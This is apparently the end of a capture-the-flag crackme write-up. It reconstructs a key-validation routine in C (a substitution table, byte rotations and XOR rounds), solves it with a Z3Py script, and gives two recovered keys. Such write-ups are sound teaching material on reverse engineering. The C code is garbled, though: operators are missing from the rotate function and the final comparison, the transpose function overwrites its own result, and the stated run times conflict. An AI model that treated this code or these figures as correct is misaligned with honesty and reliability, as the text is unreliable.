0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 }; static unsigned int transpose(unsigned int n) { unsigned int new_n = 0; new_n = mapping[(n >> 0) & 0xFF] << 0; new_n = mapping[(n >> 8) & 0xFF] << 8; new_n = mapping[(n >> 16) & 0xFF] << 16; new_n = mapping[(n >> 24) & 0xFF] << 24; return new_n; } static unsigned int rotl(unsigned int n, unsigned int sa) { return (n << sa)  (n >> (32  sa)); } static void round(unsigned int* a, unsigned int* b, unsigned int* c, unsigned int* d) { unsigned int at; *a = transpose(*a); *b = transpose(*b); *c = transpose(*c); *d = transpose(*d); at = *a; *b = rotl(*b, 8); *c = rotl(*c, 16); *d = rotl(*d, 24); *a ^= *b; *b ^= *c; *c ^= *d; *d ^= at; } int main(void) { unsigned int nh = 0x4b17e245; // name hash, constant unsigned int k1, k2, k3; scanf("%x%x%x", &k1, &k2, &k3); round(&nh, &k1, &k2, &k3); round(&nh, &k1, &k2, &k3); if (nh != 0x01020304  k1 != 0x05060708  k2 != 0x09101112  k3 != 0x0d14151e) puts("FAIL :("); else puts("SUCCESS :)"); return 0; }
Now that we have the algorithm, we still need to generate a key that will result in valid values in the end. As I was lazy and it was getting late in the evening, I implemented the algorithm with Z3Py and asked it to solve the problem for me. Unfortunately I failed several times to implement the algorithm, and the iteration time was quite long because Z3 needed 2030 minutes to get me a key matching my description of the problem, so we only got the answer in the morning.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
from z3 import * s = Solver() mapping = Array('mapping', BitVecSort(8), BitVecSort(8)) for l in open('mapping.txt'): l = l.strip() a, b = l.split() s.add(mapping[int(b, 16)] == int(a, 16)) nh = list(BitVecs('nh1 nh2 nh3 nh4', 8)) k1 = list(BitVecs('k11 k12 k13 k14', 8)) k2 = list(BitVecs('k21 k22 k23 k24', 8)) k3 = list(BitVecs('k31 k32 k33 k34', 8)) s.add(nh[0] == 0x4b, nh[1] == 0x17, nh[2] == 0xe2, nh[3] == 0x45) def transpose(n): return [mapping[n[0]], mapping[n[1]], mapping[n[2]], mapping[n[3]]] def rotl8(n): return [n[1], n[2], n[3], n[0]] def rotl16(n): return [n[2], n[3], n[0], n[1]] def rotl24(n): return [n[3], n[0], n[1], n[2]] def xor(a, b): return [a[0] ^ b[0], a[1] ^ b[1], a[2] ^ b[2], a[3] ^ b[3]] def hash(a, b, c, d, transp=True): if transp: at = transpose(a) bt = transpose(b) ct = transpose(c) dt = transpose(d) else: at, bt, ct, dt = a, b, c, d r1 = xor(at, rotl8(bt)) r2 = xor(rotl8(bt), rotl16(ct)) r3 = xor(rotl16(ct), rotl24(dt)) r4 = xor(rotl24(dt), at) return r1, r2, r3, r4 r1, r2, r3, r4 = hash(nh, k1, k2, k3) r1, r2, r3, r4 = hash(r1, r2, r3, r4) s.add(r1[0] == 0x01, r1[1] == 0x02, r1[2] == 0x03, r1[3] == 0x04) s.add(r2[0] == 0x05, r2[1] == 0x06, r2[2] == 0x07, r2[3] == 0x08) s.add(r3[0] == 0x09, r3[1] == 0x10, r3[2] == 0x11, r3[3] == 0x12) s.add(r4[0] == 0x0d, r4[1] == 0x14, r4[2] == 0x15, r4[3] == 0x1e) print s.check() print s.model()
After running for 20 minutes, this gave me the following valid key:
e530476047b7c45ff59a8f29
.Later, a friend tried to find a better way to solve this problem, and noticed that it was reductible to a 32 bits bruteforce. Using this method, we found the previous key, but also a second valid key:
b6b09bf0f23daa06ac4ee747
.